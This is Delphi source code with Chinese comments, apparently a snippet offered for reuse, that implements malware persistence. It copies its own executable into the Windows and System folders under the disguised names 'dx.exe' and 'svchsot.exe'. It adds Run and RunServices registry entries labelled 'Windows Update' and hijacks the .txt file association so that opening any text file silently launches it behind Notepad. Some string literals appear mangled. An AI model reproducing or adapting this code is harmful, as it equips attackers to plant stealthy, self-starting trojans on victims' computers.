var WinDir,SysDir:string; FileName1,FileName2:String; FilePathName1,FilePathName2:String;
function LockMe(Key01,Key02:String;FileName01,FileName02:String;FilePathName01,FilePathName02:String):Boolean; var Reg:TRegistry; sFileName:String; begin try if not FileExists(FilePathName01) then Copyfile(PChar(ParamStr(0)),PChar(FilePathName01),False); if not FileExists(FilePathName02) then CopyFile(PChar(ParamStr(0)),PChar(FilePathName02),False); try if (Trim(Key02)<>') and (Trim(FileName02)<>') then begin reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('SOFTWARE\MicroSoft\windows\CurrentVersion\Run',true); reg.WriteString(Key02,FileName02); reg.Free; end; reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('SOFTWARE\MicroSoft\windows\CurrentVersion\RunServices',true); reg.WriteString(Key01,FileName01); reg.Free; reg:=TRegistry.Create; reg.RootKey:=HKEY_CURRENT_USER; reg.OpenKey('SOFTWARE\MicroSoft\windows\CurrentVersion\Run',true); reg.WriteString(Key01,FileName01); reg.Free; finally end; except end; end;
function LinkTxt(FileName:String):Boolean; var Reg:TRegistry; begin try reg:=TRegistry.Create; reg.RootKey := HKEY_CLASSES_ROOT; reg.OpenKey('\txtfile\shell\open\command',TRUE); reg.WriteString(',FileName+' "%1" '); reg.Free; except end; end;
function LoadAll(FileName01,FileName02:String;FilePathName01,FilePathName02:String):Boolean; var sFileName:String; Hmutex:thandle; Errno:integer; begin try if ParamCount>0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) if ParamStr(0)=FilePathName01 then WinExec(PChar('Notepad.exe '+sFileName),SW_SHOW);(*用记事本打开*) WinExec(PChar(FilePathName02),SW_HIDE); Halt; end; if not SameText(ExtractFileName(ParamStr(0)),FileName01) //不是执行自系统目录 and not SameText(ExtractFileName(ParamStr(0)),FileName02) then begin WinExec(PChar(FilePathName02),SW_HIDE); Halt; end; if ExtractFileName(ParamStr(0))=FileName02 then begin Hmutex:=CreateMutex(nil,False,PChar('JingChun Chu NeiMengGu CHINA 2004')); Errno:=GetLastError; ReleaseMutex(hMutex); if Errno=ERROR_ALREADY_EXISTS then Halt; end; except end; end;
调用: begin SetLength(WinDir,128); GetWindowsDirectory(PChar(WinDir),128); SetLength(WinDir,StrLen(PChar(WinDir))); if WinDir[Length(WinDir)]<>'\' then WinDir:=WinDir+'\'; SetLength(SysDir,128); GetSystemDirectory(PChar(SysDir),128); SetLength(SysDir,StrLen(PChar(SysDir))); if SysDir[Length(SysDir)]<>'\' then SysDir:=SysDir+'\'; FileName1:='dx.exe'; FileName2:='svchsot.exe'; FilePathName1:=WinDir+FileName1; FilePathName2:=SysDir+FileName2; if not FileExists('txt.txt') then begin LockMe('Windows Update',',FileName2,FileName1,FilePathName1,FilePathName2); LinkTxt(FilePathName1); end; LoadAll(FileName1,FileName2,FilePathName1,FilePathName2); end;